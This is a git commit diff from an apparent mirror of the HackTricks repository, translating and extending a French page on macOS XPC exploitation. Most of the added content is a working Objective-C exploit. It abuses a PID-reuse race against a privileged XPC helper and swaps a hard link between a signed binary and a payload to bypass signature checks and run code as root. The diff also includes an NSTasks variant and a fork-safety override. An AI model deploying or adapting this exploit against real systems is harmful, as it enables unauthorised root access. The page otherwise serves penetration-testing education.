mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
98a048d4ec
commit
d22502f60f
1 changed files with 147 additions and 5 deletions
|
@ -5,7 +5,7 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
@ -31,15 +31,20 @@ Vérifiez cet exemple d'exploitation (encore une fois, pris à partir de la réf
|
|||
* **Chaque fork** enverra la **charge utile** au service XPC tout en exécutant **`posix_spawn`** juste après l'envoi du message.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Pour que l'exploitation fonctionne, il est important d'exporter export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES ou de le mettre dans l'exploitation :
|
||||
Pour que l'exploitation fonctionne, il est important d'exporter **`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** ou de le mettre dans l'exploitation :
|
||||
```objectivec
|
||||
asm(".section __DATA,__objc_fork_ok\n"
|
||||
"empty:\n"
|
||||
".no_dead_strip empty\n");
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="NSTasks" %}
|
||||
Première option utilisant **`NSTasks`** et l'argument pour lancer les processus enfants afin d'exploiter le RC
|
||||
```objectivec
|
||||
// from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
|
||||
// gcc -framework Foundation expl.m -o expl
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#include <spawn.h>
|
||||
|
@ -140,8 +145,145 @@ create_nstasks();
|
|||
}
|
||||
|
||||
return 0;
|
||||
}obj
|
||||
}
|
||||
```
|
||||
{% tab title="fork" %}
|
||||
Cet exemple utilise un **`fork`** brut pour lancer des **enfants qui exploiteront la condition de course PID** puis exploiteront **une autre condition de course via un lien dur :**
|
||||
```objectivec
|
||||
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
|
||||
// gcc -framework Foundation expl.m -o expl
|
||||
|
||||
#include <Foundation/Foundation.h>
|
||||
#include <spawn.h>
|
||||
#include <pthread.h>
|
||||
|
||||
// TODO: CHANGE PROTOCOL AND FUNCTIONS
|
||||
@protocol HelperProtocol
|
||||
- (void)DoSomething:(void (^)(_Bool))arg1;
|
||||
@end
|
||||
|
||||
// Global flag to track exploitation status
|
||||
bool pwned = false;
|
||||
|
||||
/**
|
||||
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
|
||||
* XPC service verify the legit binary and then execute as root out payload.
|
||||
*/
|
||||
void *check_race(void *arg) {
|
||||
while(!pwned) {
|
||||
// Overwrite with contents of the legit binary
|
||||
system("cat ./legit_bin > hard_link");
|
||||
usleep(50000);
|
||||
|
||||
// Overwrite with contents of the payload to execute
|
||||
// TODO: COMPILE YOUR OWN PAYLOAD BIN
|
||||
system("cat ./payload > hard_link");
|
||||
usleep(50000);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void child_xpc_pid_rc_abuse(){
|
||||
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
|
||||
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
|
||||
extern char **environ;
|
||||
|
||||
// Connect with XPC service
|
||||
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
|
||||
NSString* service_name = @"com.example.Helper";
|
||||
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
|
||||
// TODO: CNAGE THE PROTOCOL NAME
|
||||
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
|
||||
[connection setRemoteObjectInterface:interface];
|
||||
[connection resume];
|
||||
|
||||
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
|
||||
NSLog(@"[-] Something went wrong");
|
||||
NSLog(@"[-] Error: %@", error);
|
||||
}];
|
||||
|
||||
NSLog(@"obj: %@", obj);
|
||||
NSLog(@"conn: %@", connection);
|
||||
|
||||
// Call vulenrable XPC function
|
||||
// TODO: CHANEG NAME OF FUNCTION TO CALL
|
||||
[obj DoSomething:^(_Bool b){
|
||||
NSLog(@"Response, %hdd", b);
|
||||
}];
|
||||
|
||||
// Change current process to the legit binary suspended
|
||||
char target_binary[] = kValid;
|
||||
char *target_argv[] = {target_binary, NULL};
|
||||
posix_spawnattr_t attr;
|
||||
posix_spawnattr_init(&attr);
|
||||
short flags;
|
||||
posix_spawnattr_getflags(&attr, &flags);
|
||||
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
|
||||
posix_spawnattr_setflags(&attr, flags);
|
||||
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
|
||||
}
|
||||
|
||||
/**
|
||||
* Function to perform the PID race condition using children calling the XPC exploit.
|
||||
*/
|
||||
void xpc_pid_rc_abuse() {
|
||||
#define RACE_COUNT 1
|
||||
extern char **environ;
|
||||
int pids[RACE_COUNT];
|
||||
|
||||
// Fork child processes to exploit
|
||||
for (int i = 0; i < RACE_COUNT; i++) {
|
||||
int pid = fork();
|
||||
if (pid == 0) { // If a child process
|
||||
child_xpc_pid_rc_abuse();
|
||||
}
|
||||
printf("forked %d\n", pid);
|
||||
pids[i] = pid;
|
||||
}
|
||||
|
||||
// Wait for children to finish their tasks
|
||||
sleep(3);
|
||||
|
||||
// Terminate child processes
|
||||
for (int i = 0; i < RACE_COUNT; i++) {
|
||||
if (pids[i]) {
|
||||
kill(pids[i], 9);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
// Create and set execution rights to 'hard_link' file
|
||||
system("touch hard_link");
|
||||
system("chmod +x hard_link");
|
||||
|
||||
// Create thread to exploit sign verification RC
|
||||
pthread_t thread;
|
||||
pthread_create(&thread, NULL, check_race, NULL);
|
||||
|
||||
while(!pwned) {
|
||||
// Try creating 'download' directory, ignore errors
|
||||
system("mkdir download 2>/dev/null");
|
||||
|
||||
// Create a hardlink
|
||||
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
|
||||
system("ln hard_link download/legit_bin");
|
||||
|
||||
xpc_pid_rc_abuse();
|
||||
usleep(10000);
|
||||
|
||||
// The payload will generate this file if exploitation is successfull
|
||||
if (access("/tmp/pwned", F_OK ) == 0) {
|
||||
pwned = true;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## Références
|
||||
|
||||
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
|
||||
|
@ -151,8 +293,8 @@ return 0;
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
Loading…
Reference in a new issue